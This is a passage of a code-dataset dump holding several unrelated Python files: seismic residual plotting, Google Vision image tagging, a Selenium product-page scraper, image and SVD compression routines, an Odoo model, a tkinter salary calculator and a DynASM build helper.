1),c=dataset_dict['mw'],cmap='viridis', label=SA_legend[i-1], vmin=3, vmax=6)\n# gg.set_xscale('log')\n# gg.set_yscale('log')\n# gg.set_xlabel('Repi(km)')\n# gg.set_ylabel('SA') \n# gg.legend()\n# fig.subplots_adjust(right=0.75) \n# cbar_ax = fig.add_axes([0.80, 0.15, 0.02, 0.6]) \n# clb = fig.colorbar(axx, cax=cbar_ax, label= 'Mw')\n\n\n#%%\n\n# Residual plot\nfrom scipy.stats import binned_statistic\nbin_r_start = np.log10(55)\nbin_r_end = np.log10(1000)\nbin_r_num = 9\nr_bins = np.logspace(bin_r_start,bin_r_end,bin_r_num)\nask14_color = '#40235e'\nsk13_color = '#5aad6a'\nb14_color = '#eded55'\nzhao_color = '#3b918d'\n\npred_file_1 = '/Users/chris/Documents/Valerie_work/Crete/Predicted_IMTS/pred_IMs_P1_#1.csv'\ndf_1 = pd.read_csv(pred_file_1, header='infer')\npred_file_2 = '/Users/chris/Documents/Valerie_work/Crete/Predicted_IMTS/pred_IMs_P2_#1.csv'\ndf_2 = pd.read_csv(pred_file_2, header='infer')\npred_file_3 = '/Users/chris/Documents/Valerie_work/Crete/Predicted_IMTS/pred_IMs_P3_#1.csv'\ndf_3 = pd.read_csv(pred_file_3, header='infer')\npred_file_4 = '/Users/chris/Documents/Valerie_work/Crete/Predicted_IMTS/pred_IMs_P4_#1.csv'\ndf_4 = pd.read_csv(pred_file_4, header='infer')\n\n#i_total_residual_ask14 = np.log(pga_values) - np.log(lmean_ask14)\ni_total_residual_ask14 = df_1['sk13_0.3']\nRrup_1 = df_1['hypdist']\nask14_means,ask14_binedges,ask14_binnumbers = binned_statistic(Rrup_1,i_total_residual_ask14, bins=r_bins,statistic='mean')\nask14_std,ask14_std_binedges,ask14_std_binnumbers = binned_statistic(Rrup_1,i_total_residual_ask14,bins=r_bins,statistic='std') \n\n#i_total_residual_sk13 = np.log(pga_values) - np.log(lmean_sk13)\ni_total_residual_sk13 = df_2['sk13_0.3']\nRrup_2 = df_2['hypdist']\nsk13_means,sk13_binedges,sk13_binnumbers = binned_statistic(Rrup_2,i_total_residual_sk13, bins=r_bins,statistic='mean')\nsk13_std,sk13_std_binedges,sk13_std_binnumbers = binned_statistic(Rrup_2,i_total_residual_sk13,bins=r_bins,statistic='std') \n\n#i_total_residual_b14 = np.log(pga_values) - np.log(lmean_b14)\ni_total_residual_b14 = df_3['sk13_0.3']\nRrup_3 = df_3['hypdist']\nb14_means,b14_binedges,b14_binnumbers = binned_statistic(Rrup_3,i_total_residual_b14, bins=r_bins,statistic='mean')\nb14_std,b14_std_binedges,b14_std_binnumbers = binned_statistic(Rrup_3,i_total_residual_b14,bins=r_bins,statistic='std') \n\n#i_total_residual_z16 = np.log(pga_values) - np.log(lmean_z16)\ni_total_residual_z16 = df_4['sk13_0.3']\nRrup_4 = df_4['hypdist']\nz16_means,z16_binedges,z16_binnumbers = binned_statistic(Rrup_4,i_total_residual_z16, bins=r_bins,statistic='mean')\nz16_std,z16_std_binedges,z16_std_binnumbers = binned_statistic(Rrup_4,i_total_residual_z16,bins=r_bins,statistic='std') \n\nbin_x_ask14 = (ask14_binedges+(bin_r_num/2))[0:-1]\nbin_x_sk13 = (sk13_binedges+(bin_r_num/2))[0:-1]\nbin_x_b14 = (b14_binedges+(bin_r_num/2))[0:-1]\nbin_x_z16 = (z16_binedges+(bin_r_num/2))[0:-1]\n\n# Scatter garcia:\nplt.figure() \nplt.scatter(Rrup_1,i_total_residual_ask14,marker='^',s=10,facecolor=ask14_color,edgecolor='k',label='Polygon 1')\nplt.scatter(Rrup_2,i_total_residual_sk13,marker='o',s=10,facecolor=sk13_color,edgecolor='k',label='Polygon 2')\nplt.scatter(Rrup_3,i_total_residual_b14,marker='h',s=10,facecolor=b14_color,edgecolor='k',label='Polygon 3')\nplt.scatter(Rrup_4,i_total_residual_z16,marker='s',s=10,facecolor=zhao_color,edgecolor='k',label='Polygon 4')\n\nplt.xscale('log')\nplt.errorbar(bin_x_ask14,ask14_means,yerr=ask14_std,marker='^',linewidth=2,markersize=10,color=ask14_color,ecolor='k',elinewidth=2,capsize=5,capthick=2,label='1 binned')\nplt.errorbar(bin_x_sk13,sk13_means,yerr=sk13_std,marker='o',linewidth=2,markersize=10,color=sk13_color,ecolor='k',elinewidth=2,capsize=5,capthick=2,label='2 binned')\nplt.errorbar(bin_x_b14,b14_means,yerr=b14_std,marker='h',linewidth=2,markersize=10,color=b14_color,ecolor='k',elinewidth=2,capsize=5,capthick=2,label='3 binned')\nplt.errorbar(bin_x_z16,z16_means,yerr=z16_std,marker='s',linewidth=2,markersize=10,color=zhao_color,ecolor='k',elinewidth=2,capsize=5,capthick=2,label='4 binned')\nplt.axhline(y=0,linestyle='--',color='#606060')\nplt.xlabel('Distance (km)',labelpad=0)\nplt.ylabel('ln residual(SA)',labelpad=0)\nplt.title('SK13 Period = 0.3s')\n\nplt.legend()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"avigyanc/Crete_gms","sub_path":"Predicted_&_plotting.py","file_name":"Predicted_&_plotting.py","file_ext":"py","file_size_in_byte":13188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26422190339","text":"\"\"\"\nThis script uses the Google Cloud Vision API's label detection capabilities to \nfind a label or logo based on an image's content. It can also be used to \ndetermine if an image contains adult or violent content.\n\n\"\"\"\n\nimport argparse\nimport base64\nimport googleapiclient.discovery\n\ndef get_tags_for_image(photo_file, maxResults=10):\n \"\"\"Run a label request on a single image\n Takes an image and a result limit. Returns list of descriptors.\n If API call returns no descriptors, return False.\n\n >>> get_tags_for_image('static/images/snails.jpg', 10)\n [u'snails and slugs', u'snail', u'invertebrate', u'fauna', u'insect', u'macro photography', u'molluscs', u'slug']\n \"\"\"\n\n service = googleapiclient.discovery.build('vision', 'v1')\n\n try:\n with open(photo_file, 'rb') as image:\n image_content = base64.b64encode(image.read())\n service_request = service.images().annotate(body={\n 'requests': [{\n 'image': {\n 'content': image_content.decode('UTF-8')\n },\n 'features': [{\n 'type': 'WEB_DETECTION',\n 'maxResults': maxResults\n }]\n }]\n })\n response = service_request.execute()\n\n tags = {tag['description'] for tag in response['responses'][0]['webDetection']['webEntities']}\n return tags\n except:\n return False\n\n\n# def get_logo_for_image(photo_file):\n# \"\"\"Run a logo request on a single image\n\n# \"\"\"\n\n# # [START authenticate]\n# service = googleapiclient.discovery.build('vision', 'v1')\n# # [END authenticate]\n\n# # [START construct_request]\n# with open(photo_file, 'rb') as image:\n# image_content = base64.b64encode(image.read())\n# service_request = service.images().annotate(body={\n# 'requests': [{\n# 'image': {\n# 'content': image_content.decode('UTF-8')\n# },\n# 'features': [{\n# 'type': 'LOGO_DETECTION',\n# 'maxResults': 2\n# }]\n# }]\n# })\n# # [END construct_request]\n# # [START parse_response]\n# response = service_request.execute()\n# tags = []\n# for response in response['responses'][0]['logoAnnotations']:\n# tags.append(response['description'])\n# print tags\n# return tags\n# # [END parse_response]\n\ndef image_is_safe(photo_file):\n \"\"\"Runs SafeSearch request on a single image.\n Returns False for unsafe images. Unsafe images are defined to be those\n that are LIKELY or VERY_LIKELY to contain adult or violent content.\n\n >>> image_is_safe('static/images/snails.jpg')\n True\n \"\"\"\n\n # [START authenticate]\n service = googleapiclient.discovery.build('vision', 'v1')\n # [END authenticate]\n\n # [START construct_request]\n with open(photo_file, 'rb') as image:\n image_content = base64.b64encode(image.read())\n service_request = service.images().annotate(body={\n 'requests': [{\n 'image': {\n 'content': image_content.decode('UTF-8')\n },\n 'features': [{\n 'type': 'SAFE_SEARCH_DETECTION',\n }]\n }]\n })\n # [END construct_request]\n # [START parse_response]\n response = service_request.execute()\n adult = response['responses'][0]['safeSearchAnnotation']['adult']\n violent = response['responses'][0]['safeSearchAnnotation']['violence']\n # [END parse_response]\n return adult in ['UNLIKELY', 'VERY_UNLIKELY'] or violence in ['UNLIKELY', 'VERY_UNLIKELY']\n\n\n\n\n\n\n\n\n","repo_name":"NatashaMitchko/nerve","sub_path":"vision.py","file_name":"vision.py","file_ext":"py","file_size_in_byte":3835,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"7898481751","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Aug 2 01:22:22 2021\r\n\r\n@author: preet\r\n\"\"\"\r\n\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.chrome.options import Options\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.common.exceptions import TimeoutException, NoSuchElementException\r\n\r\n# configuring chrome driver for brave browser\r\n# skip the binary_location if running on chrome\r\noptions = Options()\r\n# options.binary_location = \"C:/Program Files/BraveSoftware/Brave-Browser/Application/brave.exe\"\r\ndriver_path = \"C:/Users/zeels/Desktop/projects/walmart_scraper/chromedriver.exe\"\r\nbrowser = webdriver.Chrome( executable_path = driver_path)\r\n\r\n# get our product url\r\nurl = \"https://www.walmart.com/ip/Clorox-Disinfecting-Wipes-225-Count-\\\r\n Value-Pack-Crisp-Lemon-and-Fresh-Scent-3-Pack-75-Count-Each/14898365\"\r\nbrowser.get(url)\r\n\r\n# trying to execute a class name selection\r\nelement_class1=browser.find_elements_by_class_name(\"w_Cl\")\r\nprint(element_class1)\r\n\"\"\"\r\nAction Chains Class helps us simulate complex browser actions like scrolling\\\r\nto a certain location of a webpage, doubleclicks, etc.\r\n\"\"\"\r\nfrom selenium.webdriver import ActionChains\r\naction_chains = ActionChains(browser)\r\naction_chains.pause(5)\r\naction_chains.move_by_offset(0, 1000)\r\naction_chains.move_by_offset(0, -1000)\r\n\r\n# Use the explicit wait method till our browser page loads the button beforeshowing an error\r\n\r\nfrom selenium.webdriver.support.ui import WebDriverWait, Select\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nmax_duration = 10\r\ntry:\r\n wait_element = WebDriverWait(browser, max_duration).until(EC.presence_of_element_located(\r\n (By.XPATH, \"//*[@id='item-review-section']/div[2]/a[1]\") \r\n ))\r\nexcept TimeoutException as e:\r\n print('Loading Exceeds Delay Time')\r\nelse:\r\n print(wait_element.get_attribute('innerHTML'))\r\n\r\n# get the params to scroll to 'see all reviws' button\r\nelement = browser.find_element_by_xpath(\"id='item-review-section']/div[2]/a[1]\")\r\n# element = browser.find_element_by_class_name('w_Cr no-underline ba br-pill pa1 pl3 pr3 items-center b f6 tl mr2')\r\nprint(element)\r\n\r\n","repo_name":"preetshah7/walmart_scarper","sub_path":"rough_script.py","file_name":"rough_script.py","file_ext":"py","file_size_in_byte":2202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31132571391","text":"from PIL import Image\n\nfrom nupic.regions.ImageSensorFilters.BaseFilter import BaseFilter\n\n\nclass PadToFit(BaseFilter):\n\n \"\"\"\n ** DEPRECATED ** Pad the image so that it fits the specified size.\n \"\"\"\n\n def __init__(self, width, height):\n \"\"\"\n ** DEPRECATED **\n @param width -- Target width, in pixels.\n @param height -- Target height, in pixels.\n \"\"\"\n\n BaseFilter.__init__(self)\n\n self.width = width\n self.height = height\n\n def process(self, image):\n \"\"\"\n @param image -- The image to process.\n\n Returns a single image, or a list containing one or more images.\n \"\"\"\n\n BaseFilter.process(self, image)\n\n if image.size == (self.width, self.height):\n return image\n\n if image.size[0] > self.width or image.size[1] > self.height:\n raise RuntimeError('Image is larger than target size')\n\n newImage = Image.new(image.mode, (self.width, self.height),\n self.background)\n xPad = self.width - image.size[0]\n yPad = self.height - image.size[1]\n newImage.paste(image, (xPad/2, yPad/2))\n return newImage","repo_name":"tkaitchuck/nupic","sub_path":"py/regions/ImageSensorFilters/PadToFit.py","file_name":"PadToFit.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"70911931393","text":"from odoo import api, fields, models\nfrom odoo.exceptions import ValidationError\n\n\nclass InventoryUser(models.Model):\n _name = 'inventory.account'\n _rec_name = 'name_and_code'\n\n name = fields.Char(string='Name', required=True)\n code = fields.Char(string='Code', required=True)\n name_and_code = fields.Char(compute='compute_name_code', store=True)\n\n @api.multi\n @api.depends('name', 'code')\n def compute_name_code(self):\n for rec in self:\n if rec.code and rec.name:\n rec.name_and_code = str(rec.name + \" (\" + rec.code + \")\")\n\n @api.multi\n def copy(self, default=None):\n raise ValidationError(\"Sorry you are not allowed to perform this operation. Error Code BYT001\")\n\n @api.constrains('name')\n def check_name(self):\n all_accounts = self.search([])\n for account in all_accounts:\n if self.name.lower() == account.name.lower() and self.id != account.id:\n raise ValidationError(\"Error! Account Name already exist. BYT005\")\n\n _sql_constraints = [\n ('unique_code', 'unique (code)', \"Account Code Already Exist !\"),\n ]\n","repo_name":"Jacky-odoo/Ecobank","sub_path":"custom/clients/ecobank/ecobank_inventory/models/inventory_account.py","file_name":"inventory_account.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16890713342","text":"# importing system from os\nfrom os import system\n# importing graphic library\nfrom tkinter import *\n# application module\ndef Application(self, master=None):\n # reset function\n def Reset():\n # destroy result window and his elements\n self.result.destroy()\n self.menu.destroy()\n # start\n Start()\n # floating function # get user input and test floating point\n def Floating():\n # get user input\n self.salary = self.input.get()\n # validate user input\n if self.salary.find(',') != -1:\n # replace ',' to '.'\n self.salary = self.salary.replace(',', '.')\n # enter event\n def Enter(event):\n Result()\n # menu module\n def Menu():\n # widget\n self.menu = Frame(self.top)\n self.menu.pack()\n # exit button\n exit = Button(self.menu, command=self.top.quit, text='Sair')\n exit.pack(side=LEFT, padx=(0, 3))\n # apply button\n self.apply = Button(self.menu, command=Result, text='Calcular')\n self.apply.pack(side=LEFT, padx=(3, 0))\n # starting window module\n def Start():\n # widget\n self.starting = Frame(self.top)\n self.starting.pack()\n # call to action\n cta = Label(self.starting, height=3, font=('', 13), text='Ensira seu salário abaixo\\npara calcular o aumento.')\n cta.pack()\n # user input\n # widget\n userInput = Frame(self.starting)\n userInput.pack()\n # label\n currency = Label(userInput, text='R$')\n currency.pack(side=LEFT, pady=(15, 25))\n # input\n self.input = Entry(userInput, width=12)\n self.input.insert(END, 2153.87)\n self.input.bind('<Return>', Enter)\n self.input.pack(side=LEFT, pady=(15, 25))\n # create menu\n Menu()\n # result window\n def Result():\n # check floating\n Floating()\n # destroy starting window and his elements\n self.starting.destroy()\n self.menu.destroy()\n # result window widget\n self.result = Frame(self.top)\n self.result.pack()\n # error window\n self.error = Label(self.result, height=4, fg='red', font=('', 15, 'bold'), text='Erro: USB 01')\n try:\n self.salary = float(self.salary)\n # current salary widget\n self.current = Frame(self.result)\n self.current.pack(pady=(15, 5))\n # label\n currentLabel = Label(self.current, text='Salário atual = R$')\n currentLabel.pack(side=LEFT)\n # value\n current = Label(self.current, fg='orange', text=self.salary)\n current.pack(side=LEFT)\n # new salary widget\n self.new = Frame(self.result)\n self.new.pack(pady=(5, 5))\n # label\n newLabel = Label(self.new, text='Novo salário com 15% de acréscimo = R$')\n newLabel.pack()\n # value\n newSalary = Label(self.new, fg='green', text='{:.2f}'.format(self.salary * 115 / 100))\n newSalary.pack()\n # amount increased widget\n self.increased = Frame(self.result)\n self.increased.pack(pady=(5, 15))\n # label\n increasedLabel = Label(self.increased, text='Valor do aumento = R$')\n increasedLabel.pack(side=LEFT)\n # value\n increased = Label(self.increased, fg='green', text='{:.2f}'.format(self.salary * 115 / 100 - self.salary))\n increased.pack(side=LEFT)\n except ValueError:\n self.error.pack(pady=(25, 15))\n # create menu\n Menu()\n # change apply button command and text\n self.apply['command'] = Reset\n self.apply['text'] = 'Voltar'\n # clean terminal at program starts\n system('clear')\n # top Frame\n self.top = Frame(master)\n self.top.pack()\n # create starting window\n Start()\n# application setup\nroot = Tk()\nroot.title('Salary')\nroot.geometry('400x200')\n# application start\nApplication(root)\n# mainloop\nroot.mainloop()\n","repo_name":"mtvlc/Python_CursoEmVideo","sub_path":"World1/Challenge013/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5600508902","text":"import os\nimport subprocess\nimport argparse\n\nfrom os.path import exists\nfrom pathlib import Path\n\nglobal miniluaPath\nglobal minilua\nglobal dynasm\nglobal arch\n\n\nclass Colors:\n HEADER = '\\033[95m'\n OKBLUE = '\\033[94m'\n OKCYAN = '\\033[96m'\n OKGREEN = '\\033[92m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n\n\ndef compile_minilua():\n print(Colors.OKGREEN + \"[Task: minilua compilation]: started\" + Colors.ENDC)\n process = subprocess.Popen([\"gcc\", \"-o\", \"minilua\", \"-lm\", \"minilua.c\"], cwd=miniluaPath)\n process.wait()\n if process.returncode != 0:\n print(Colors.FAIL + \"[Error: minilua compilation]: failed\")\n exit(1)\n print(Colors.OKGREEN + \"[Task: minilua compilation]: finished\")\n\n\ndef minilua_executable():\n if not exists(miniluaPath + \"minilua\"):\n print(Colors.WARNING + \"[Info]: lua interpreter is required\")\n compile_minilua()\n return miniluaPath + \"minilua\"\n\n\ndef start_preprocessor(file, outfile):\n if arch is None:\n print(Colors.FAIL + \"[Error: dynasm]: arch is not specified\")\n exit(-1)\n\n print(Colors.OKGREEN + \"[Task: dynasm]: starting preprocessor for\", file, Colors.ENDC)\n process = subprocess.Popen([minilua, dynasm + \"preprocessor/dynasm.lua\", \"-o\", outfile, \"-D\", arch, file])\n process.wait()\n\n if process.returncode != 0:\n print(Colors.FAIL + \"[Error: dynasm]: preprocessing failed\")\n return\n\n print(Colors.OKGREEN + \"[Task: dynasm]: preprocessing finished. Output file is\", outfile)\n\n\ndef output_file_name(src_dir, src_file, outdir):\n return outdir + os.path.relpath(str(src_file).replace(\".dasm\", \"\"), src_dir)\n\n\nif __name__ == \"__main__\":\n if os.name == \"nt\":\n os.system(\"color\")\n src = []\n miniluaPath = os.getcwd() + \"/minilua/\"\n dynasm = os.getcwd() + \"/dynasm/\"\n\n parser = argparse.ArgumentParser(description=\"DynAsm toolchain v1.0.0\")\n parser.add_argument(\"--arch\", help=\"set specified arch\")\n parser.add_argument(\"--dir\", help=\"set source directory\")\n parser.add_argument(\"--out\", help=\"set output directory\")\n\n parser.add_argument(\"files\", type=str, nargs=\"*\", help=\"source code files\")\n\n args = parser.parse_args()\n arch = args.arch\n\n if args.dir is not None:\n src += list(Path(args.dir).rglob(\"*.dasm.[ch]\"))\n\n if args.files is not None:\n src += args.files\n\n minilua = minilua_executable()\n\n for file in src:\n start_preprocessor(file, output_file_name(args.dir, file, (args.out if args.out is not None else \"\")))\n","repo_name":"intbyte-100/dynasm-toolchain","sub_path":"dynasm.py","file_name":"dynasm.py","file_ext":"py","file_size_in_byte":2592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3295488250","text":"\"\"\"Create a basic example hex map using the HexMap class.\"\"\"\nimport matplotlib.pyplot as plt\nimport os\nimport pandas as pd\n\nfrom map.hexmap import HexMap\nfrom utils.plotting_utils import create_signature_pc\n\nif __name__ == \"__main__\":\n map_path = os.path.join(\"data\", \"boundaries\", \"uk_hex.csv\")\n data_path = os.path.join(\"data\", \"map\", \"241584\", \"241584_1553701502.csv\")\n\n map_df = pd.read_csv(map_path, encoding=\"latin-1\")\n data_df = pd.read_csv(data_path, encoding=\"latin-1\")\n\n hexmapper = HexMap()\n\n # Create the dataframe containing the map and colour information before loading it\n combined_df = create_signature_pc(map_df, data_df)\n\n hexmapper.load_map(combined_df, is_path=False, value_column=\"signature_pc\")\n\n # Draw the map\n v_min = 0.0\n v_max = 35.0\n title = \"Signature as % of Electorate\"\n title_kwargs = {\"fontsize\": \"20\", \"fontweight\": \"6\"}\n fig = hexmapper.draw_map(\n v_min=v_min, v_max=v_max, title=title, title_kwargs=title_kwargs\n )\n plt.show()\n\n # Save the map\n save_dir = os.path.join(\"plots\", \"examples\")\n hexmapper.save_map(\"hexmap_example.png\", save_dir=save_dir, dpi=300)\n","repo_name":"TTitcombe/ConstituencyMap","sub_path":"examples/hexmap.py","file_name":"hexmap.py","file_ext":"py","file_size_in_byte":1160,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"61"} +{"seq_id":"36330275477","text":"# solutions.py\n\"\"\"Volume 1: The SVD and Image Compression. Solutions File.\"\"\"\nimport numpy as np\nimport scipy.linalg as la\nimport matplotlib.pyplot as plt\n\n# Problem 1\ndef compact_svd(A, tol=1e-6):\n \"\"\"Compute the truncated SVD of A.\n\n Parameters:\n A ((m,n) ndarray): The matrix (of rank r) to factor.\n tol (float): The tolerance for excluding singular values.\n\n Returns:\n ((m,r) ndarray): The orthonormal matrix U in the SVD.\n ((r,) ndarray): The singular values of A as a 1-D array.\n ((r,n) ndarray): The orthonormal matrix V^H in the SVD.\n \"\"\"\n eigs, V = la.eig(A.conj().T @ A)\n V = V.T\n eigs, V = eigs[np.where(eigs > tol)], V[np.where(eigs > tol)]\n s_values = np.array([np.sqrt(np.real(ev)) for ev in eigs])\n sorted_s_values = np.sort(s_values)[::-1]\n indices = []\n for i in range(len(s_values)):\n \tfor j in range(len(s_values)):\n \t\tif sorted_s_values[i] == s_values[j]:\n \t\t\tindices.append(j)\n V = V[np.array(indices)]\n U = A@V.T/sorted_s_values\n return U, sorted_s_values, V\n\n# Problem 2\ndef visualize_svd(A):\n \"\"\"Plot the effect of the SVD of A as a sequence of linear transformations\n on the unit circle and the two standard basis vectors.\n \"\"\"\n S1 = np.array([np.cos(theta) for theta in np.linspace(0,2*np.pi,200)])\n S2 = np.array([np.sin(theta) for theta in np.linspace(0,2*np.pi,200)])\n S = np.vstack([S1,S2])\n E = np.array([[1,0,0],[0,0,1]])\n plt.ion()\n ax1 = plt.subplot(221)\n ax1.plot(S[0], S[1])\n ax1.plot(E[0], E[1])\n ax1.axis(\"equal\")\n\n U, s, Vh = la.svd(A)\n VhS = Vh@S\n VhE = Vh@E\n ax2 = plt.subplot(222)\n ax2.plot(VhS[0], VhS[1])\n ax2.plot(VhE[0], VhE[1])\n ax2.axis(\"equal\")\n\n\n sVhS = np.diag(s)@VhS\n sVhE = np.diag(s)@VhE\n ax3 = plt.subplot(223)\n ax3.plot(sVhS[0], sVhS[1])\n ax3.plot(sVhE[0], sVhE[1])\n ax3.axis(\"equal\")\n\n UsVhS = U@sVhS\n UsVhE = U@sVhE\n ax4 = plt.subplot(224)\n ax4.plot(UsVhS[0], UsVhS[1])\n ax4.plot(UsVhE[0], UsVhE[1])\n ax4.axis(\"equal\")\n\n\n# Problem 3\ndef svd_approx(A, s):\n \"\"\"Return the best rank s approximation to A with respect to the 2-norm\n and the Frobenius norm, along with the number of bytes needed to store\n the approximation via the truncated SVD.\n\n Parameters:\n A ((m,n), ndarray)\n s (int): The rank of the desired approximation.\n\n Returns:\n ((m,n), ndarray) The best rank s approximation of A.\n (int) The number of entries needed to store the truncated SVD.\n \"\"\"\n if s > np.linalg.matrix_rank(A):\n \traise ValueError(\"s is greater than the rank of A\")\n U, S, Vh = la.svd(A, full_matrices=False)\n U = U[:,:s]\n S = S[:s]\n Vh = Vh[:s]\n A = U@np.diag(S)@Vh\n return A, U.size+S.size+Vh.size\n\n\n# Problem 4\ndef lowest_rank_approx(A, err):\n \"\"\"Return the lowest rank approximation of A with error less than 'err'\n with respect to the matrix 2-norm, along with the number of bytes needed\n to store the approximation via the truncated SVD.\n\n Parameters:\n A ((m, n) ndarray)\n err (float): Desired maximum error.\n\n Returns:\n A_s ((m,n) ndarray) The lowest rank approximation of A satisfying\n ||A - A_s||_2 < err.\n (int) The number of entries needed to store the truncated SVD.\n \"\"\"\n U, S, Vh = la.svd(A, full_matrices=False)\n s = len(np.where(S > err)[0])\n if len(s) == len(S):\n \traise ValueError(\"A cannot be approximated within the tolerance by a matrix of lesser rank.\")\n U = U[:,:s]\n S = S[:s]\n Vh = Vh[:s]\n A = U@np.diag(S)@Vh\n return A, U.size+S.size+Vh.size\n\n# Problem 5\ndef compress_image(filename, s):\n \"\"\"Plot the original image found at 'filename' and the rank s approximation\n of the image foplund at 'filename.' State in the figure title the difference\n in the number of entries used to store the original image and the\n approximation.\n\n Parameters:\n filename (str): Image file path.\n s (int): Rank of new image.\n \"\"\"\n image = plt.imread(filename) / 255\n plt.ion()\n\n if len(image.shape) == 2:\n \tA, new_size = svd_approx(image, s)\n \tax1 = plt.subplot(121)\n \tax1.imshow(image, cmap=\"gray\")\n \tplt.axis(\"off\")\n \tax2 = plt.subplot(122)\n \tax2.imshow(A, cmap=\"gray\")\n \tplt.axis(\"off\")\n \tplt.suptitle(str(image.size-new_size))\n\n else:\n \tRs, r_size = svd_approx(image[:,:,0], s)\n \tGs, g_size = svd_approx(image[:,:,1], s)\n \tBs, b_size = svd_approx(image[:,:,2], s)\n \tRs = np.clip(Rs, 0, 1)\n \tGs = np.clip(Gs, 0, 1)\n \tBs = np.clip(Bs, 0, 1)\n \tA = np.dstack([Rs, Gs, Bs])\n \tax1 = plt.subplot(121)\n \tax1.imshow(image)\n \tplt.axis(\"off\")\n \tax2 = plt.subplot(122)\n \tax2.imshow(A)\n \tplt.axis(\"off\")\n \tplt.suptitle(str(image.size-(r_size+g_size+b_size)))\n\n\n\n\n\n\n\n\n","repo_name":"scj1420/Class-Projects-Research","sub_path":"Class/ACME_Volume_1-Python/SVD_ImageCompression/svd_image_compression.py","file_name":"svd_image_compression.py","file_ext":"py","file_size_in_byte":4843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40636997752","text":"import math\nimport re\n\n\ndef _evaluate_number(expression: str):\n try:\n return int(expression)\n except ValueError:\n try:\n return float(expression)\n except ValueError:\n raise ValueError(f\"Could not resolve {expression}\")\n\n\ndef _evaluate_single_expression(expression: str):\n \"\"\"\n Evaluate a numerical expression with possible math functions.\n \"\"\"\n try:\n index_bracket = expression.index(\"[\")\n except ValueError:\n index_bracket = -1\n\n if index_bracket == -1:\n return _evaluate_number(expression)\n else:\n assert expression[-1] == \"]\"\n if index_bracket == 0:\n return _evaluate_number(expression[1:-1])\n else:\n assert expression[:index_bracket] in dir(math)\n math_fn = getattr(math,expression[:index_bracket])\n number = _evaluate_number(expression[index_bracket+1:-1])\n result = math_fn(number)\n if isinstance(number, int) and result % 1 == 0:\n result = int(result)\n return result\n\n\ndef _evaluate_power_expression(expression: str):\n \"\"\"\n Evaluate a mathematical expression with \"^\".\n \"\"\"\n single_expressions = re.split(\"(\\^)\", expression)\n result = _evaluate_single_expression(single_expressions[-1])\n len_s_exprs = len(single_expressions)\n assert len_s_exprs % 2 == 1\n for i in reversed(range(0,len_s_exprs-1,2)):\n symbol = single_expressions[i+1]\n m_expr = single_expressions[i]\n assert symbol == \"^\", f\"Fatal error in _evaluate_power_expression: expected ^ but got {symbol}\"\n result = _evaluate_single_expression(m_expr) ** result\n return result\n\n\ndef _evaluate_multiplicative_expression(expression: str):\n \"\"\"\n Evaluate a mathematical expression with *,/,^ (or **)\n \"\"\"\n expression = expression.replace(\"**\",\"^\")\n single_expressions = re.split(\"([\\*/])\", expression)\n result = _evaluate_power_expression(single_expressions[0])\n len_s_exprs = len(single_expressions)\n assert len_s_exprs % 2 == 1\n for i in range(2,len_s_exprs,2):\n symbol = single_expressions[i-1]\n m_expr = single_expressions[i]\n if symbol == \"*\":\n result *= _evaluate_power_expression(m_expr)\n else:\n assert symbol == \"/\", f\"Fatal error in _evaluate_multiplicative_expression: expected * or / but got {symbol}\"\n second_result = _evaluate_multiplicative_expression(m_expr)\n if isinstance(result,int) and isinstance(second_result, int) and result % second_result == 0:\n result //= _evaluate_multiplicative_expression(m_expr) # could throw ZeroDivisionError\n else:\n result /= _evaluate_multiplicative_expression(m_expr) # could throw ZeroDivisionError\n return result\n\n\ndef _find_last_symbol(expression: str):\n \"\"\"\n Find the last index of \"+\", \"-\", \"*\", \"/\" or \"^\".\n Return -1 if there is no such symbol.\n \"\"\"\n i = len(expression) - 1\n while i > -1:\n if expression[i] in [\"+\", \"-\", \"*\", \"/\", \"^\"]:\n return i\n i -= 1\n return -1\n\n\ndef _add_hidden_multiplication(expression: str):\n \"\"\"\n Add hidden \"*\" signs.\n\n Args:\n expression: a mathematical expression given as a string.\n It can include +,-,*,/,^(or **) and every name\n of the functions of the Python module math.\n No brackets. Only square brackets which contained a number are allowed.\n \"\"\"\n split_expression_square_brackets = re.split(\"([\\[\\]])\", expression)\n len_split_expression_square_brackets = len(split_expression_square_brackets)\n i = 0\n while i < len_split_expression_square_brackets:\n expr = split_expression_square_brackets[i]\n if expr == \"[\" and i > 0:\n prev_expr = split_expression_square_brackets[i-1]\n if prev_expr == \"\" or prev_expr[-1] == \"]\":\n split_expression_square_brackets[i] = \"*\" + expr\n else:\n index_last_symbol = _find_last_symbol(prev_expr)\n if index_last_symbol != len(prev_expr) - 1:\n math_fn = prev_expr[index_last_symbol+1:]\n try:\n float(math_fn)\n split_expression_square_brackets[i] = \"*\" + expr\n except ValueError:\n if not math_fn in dir(math):\n raise ValueError(f\"Could not resolve {math_fn}\")\n assert split_expression_square_brackets[i+1] not in [\"[\", \"]\"] \n assert split_expression_square_brackets[i+2] == \"]\"\n i += 3\n else:\n i += 1 \n return 